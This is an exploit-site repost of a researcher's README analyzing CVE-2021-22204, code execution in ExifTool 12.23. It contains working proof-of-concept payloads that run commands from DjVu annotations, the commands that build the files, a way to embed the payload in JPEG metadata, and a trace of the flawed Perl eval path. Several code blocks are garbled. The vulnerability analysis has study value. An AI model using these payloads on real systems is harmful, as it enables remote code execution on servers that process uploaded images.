Sploitus

Exploit for Code Injection in Exiftool Project Exiftool

githubexploit · 2021-12-29

Exploit Code

README324 lines
## https://sploitus.com/exploit?id=289423D9-0706-5D51-A997-22A314D78ACE
# ExifTool Remote Code Execution Vulnerability

This should be considered a CVE-2021-22204 analysis article, but it's more like my sketchbook, filled with a lot of disorganized stuff, which is a bit of a crap shoot for a vulnerability analysis article, but it has taught me a lot.

To be honest, I've never used this tool, and I've barely touched the Perl language, which led to a lot of question marks in the center of my analysis, and even in the reproduction process. Before I start analyzing, let's take a look at the publicly available pocs on the web, and the questions I had in mind.

## POC - convisolabs

One of the articles I saw was [1], which gave a short introduction to the cause of the vulnerability, but since I couldn't read the Perl code, a lot of it was not clear. Its reproduction process is as follows:

Download the 12.23 version of exiftool

```bash
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
``

Unzip and install

``bash
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
```

Of course, if you don't want to install it, you can just put the exiftool file in the exiftool-12.23 directory into a directory where the environment variable can be found, and this will also allow you to use the exiftool tool directly, since Perl is an interpreted language, similar to python.

To create a malicious image, first install the required tools

```bash
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
```

Create a malicious djvu file by executing the following command

```bash
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# This is what confuses me the most, I don't understand why the compression is necessary (because it's not necessary to look at other POCs)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
```

Parsing the malicious file with the `exiftool` utility reveals that the `id` command was successfully executed

```bash
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video ),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
```

Is it possible to make a `djvu` format file without compressing the `payload` when making a `djvumake` command? Because this is not easy to view and test from an analysis point of view. Of course you can, just replace the parameter `ANTz` with `ANTa`. Here `ANTz` and `ANTa` can be found in the exiftool documentation [3], but I still can't find out what they mean, because I can't find the standard description.

> I'd like to point out that the `man djvumake` documentation does not contain a description of `ANTz` and `ANTa`, and the documentation is dated 2001, which is a long time since it was updated.

| Tag ID | Tag Name | Writable |
| ------ | -------------------- | -------- |
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |

`ANTa` means store `Annotation` in plaintext format in `metadata` in djvu file, `ANTz` is in bzz compressed format.

But djvu format files are not common, especially when there are uploaded images on a website, most of them only accept png/jpg/jpeg files. So it would be nice to turn a malicious djvu file into a jpg file.

The exiftool tool can help us modify the content of the image, just insert the malicious djvu file into the appropriate location of the jpg file, as to which location and why it can be this location, later analyzed and then explained.

Building an exiftool configuration file eval.config
``
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified): 'Image::ExifTool::UserDefined = (
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b corresponds to Tag 'HasselbladExif'[6].
0xc51b => {
# This is the name of the received parameter.
Name => 'HasselbladExif',
# Type of variable to write to
Writable => 'string', # The type of variable to write.
# Which Group[7] of the metadata the data being written belongs to
WriteGroup => 'IFD0', # The group to which the data is written belongs.
}, # WriteGroup => 'IFD0', }
# add more user-defined EXIF tags here...
}, # add more user-defined EXIF tags here...
); #end
1; #end
``
For more information on writing the exiftool configuration file, see [4][5]. Next find a normal jpg image file poc.jpg and execute the following command

```bash
$ exiftool -config configfile '-HasselbladExif "a\(\n)"'"
# eval reports an error after execution, because "no closure
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
``

For the execution logic of eval in Perl, it is recommended to refer to the official documentation [9]. However, since some parts of the documentation are not mentioned, and since I have not used Perl before, I could not understand some parts of the documentation. I can only keep testing with code samples to understand some of the logic of eval, and I will mention some of the content that will help me understand the vulnerability before I start talking about the real payload execution process.

#### eval in Perl

The function of eval in Perl is not only to execute code snippets, but also to catch exceptions without interrupting the execution of the program. eval can take string constants, string variables or put them directly into the code for parsing and execution.

```perl
# String constants
eval "system('id')".
# Variables
$cm = "system('id')"; # variables
eval $cm; # variable $cm = "system('id')"; eval $cm
eval "$cm";
# Execute the code directly
eval {system('id');};; # output
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
``

The execution policy of eval is to return only the result of the last substatement, i.e., if it contains more than one piece of code, only the last result is taken, like this

```perl
eval "system('id'); system('date');"
# output
# Thursday, November 04, 2021 11:49:22 CST
```

When eval executes a statement with an error, the code that follows is not executed anymore and an exception is thrown (if any).

Looking back at the test with payload earlier did you find anything? If we can successfully close the " and put the code that needs to be executed between the " on the second line, the code can be executed by eval.
The authors in [2] give the following form

```bash
(metadata
(Author "\
" . return `date`; #")
)
# The last pass into eval to execute is
"\
" . return `date`; #"
\ " .

So how is this part of being executed by eval to be understood, first of all the `. ` operator is used in Perl to concatenate strings, so it will first execute the

``perl
return ``date``.
```

Then splice the return with `\(\n)`. Actually, this `return` doesn't affect the execution of the `date` command without it, and the final `"` is commented out.

Of course, it can also be written like this

```bash
(metadata (Author "\
"; return `date`; #"))
# The last thing passed into eval to execute would be
"\
"; return `date`; #"
\

In this way, `eval` first parses `"\(\n)";`, which will be parsed as a string, and after that continues to parse the statements that follow it, and then the `date` command is successfully executed.

After the above payload is executed, you will see the following result, you can see that it is successfully executed.

```
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number : 12.23
File Name : exploit.djvu
...
Author : Thursday, November 04, 2021 15:22:05 CST.
...
```

#### Other ways to bypass

I'm a little tired after writing this. The `payload` bypass given by the author of [2] works perfectly, but is there any other way? In fact, looking back at the beginning of [1], we can see that it is already given

```perl
(metadata "\c${system('id')};")
```

You should know that the ParseAnt($) function does replace the $ symbol, resulting in a successful direct execution. So why does this one work, are you curious what `\c` does. First construct the djvu file with this payload above, which is parsed by exiftool and passed into eval with the following contents

`\c` perl
"\c\${system('id')};"
```

In the absence of `\c` presence

```perl
"\${system('id')};"
```

This code will not be executed, and the final return will be a string, because the `$` symbol is escaped. What `\c` does is cancel out the `\` before the `$`, allowing the code that follows to be executed. In Perl, there are a number of escape characters, and \c is one of them, but it's not used by itself; it's used in conjunction with an arbitrary character.

| Escape Characters | Meanings |
| -------- | ------------------------- |
| \cX | control character, X can be any character |

It is this that causes `\c\` to be interpreted as something else and the code that follows is executed.

#### Other file formats

The malicious files constructed in the previous section were limited to `djvu` format files, it would have made more sense to construct a common file such as a jpg image. In order to do this, it is necessary to find out which files are parsed when the vulnerable function ParseAnt($) is called.

By searching upwards, it was found that ProcessAnt($$$) calls ParseAnt($), but backtracking further was not straightforward.

``perl
ProcessAnt($$$)
||v
v
ParseAnt($)
```

Since the Perl language has a dynamic loading mechanism for modules, try to see where the file Djvu.pm is loaded.

! [1636264024890.png](screenshots/1636264024890.png)

Examining each of the files found, I found the following code in `line 2620` of `lib/Image/ExifTool.pm` that determines which module is loaded to process the corresponding file based on the type of file.

``perl
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
# ...
my $module = $moduleName{$type}; $module = $type unless $module = $type; $module = $type; # ...
$module = $type unless defined $module; my $func = "Process"; $func = "Process"; $func = "Process"; $func = "Process"; # ...
my $func = "Process$type";

# load module if necessary
if ($module) {
require "Image/ExifTool/$module.pm"; $func = "Image:ExifTool/$module.pm"; # load module if necessary
$func = "Image::ExifTool::${module}::$func"; } elsif ($module)
} elsif ($module eq '0') {
$self->SetFileType();
$self->Warn('Unsupported file type');
last; }
}
# ...
}
```

After that, continuing to look for where ExtractInfo($;@) would be called, I found multiple places, focusing mainly on the portion of the code in `line 3004` of `lib/Image/ExifTool/Exif.pm`

``perl
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
WRITE_PROC => \&WriteExif,
CHECK_PROC => \&CheckExif,
WRITE_GROUP => 'ExifIFD', # default write group
SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
# ...
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif', # Format => 'undef', # 'undef', # 'undef', # 'undef'.
Name => 'HasselbladExif', Format => 'undef', RawConv => q
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
# ...
);
``

`%Image::ExifTool::Exif::Main` is a form in Map form, and the function of Exif.pm is also stated in the comments to be used for reading metadata information that conforms to the `EXIF/TIFF` specification

> Description: Read EXIF/TIFF meta information.

Actually, I saw `%Image::ExifTool::Exif::Main` in the previous review, but I didn't understand what `0xc51` means and why it must be this value. Now I know that as long as the `metadata` information in the file contains something that corresponds to the `0xc51` id, it will be parsed by the ExtractInfo function and step through to the vulnerable function.

So in the front, through the powerful customization function of exiftool, a config file is written, customized as a normal jpg file, inserting `0xc51b` this kind of metadata, which stores malicious content. At this point, the whole triggering process was basically clear, and all my own questions were answered. The author of [2] also gives a way to insert malicious data into files in other formats, which is similar to this one.

#### Fix Solution

Check github for [diff](https://github.com/exiftool/exiftool/compare/12.23.... .12.24) results in the following

! [diff](screenshots/screen.jpg)

#### References

[1] [A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)](https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204- exiftool-rce/)

[2] [ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution- cve-2021-22204.html)

[3] [TagNames of DjVu](https://exiftool.org/TagNames/DjVu.html)

[4] [TagNames Explan](https://exiftool.org/#tagnames)

[5] [Exiftool User Defined Configuration File](https://exiftool.org/config.html)

[6] [EXIF](https://exiftool.org/TagNames/EXIF.html)

[7] [Groups](https://exiftool.org/#groups)

[8] [exiftool-arbitrary-code-execution](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)

[9] [eval in Perl](https://perldoc.perl.org/functions/eval)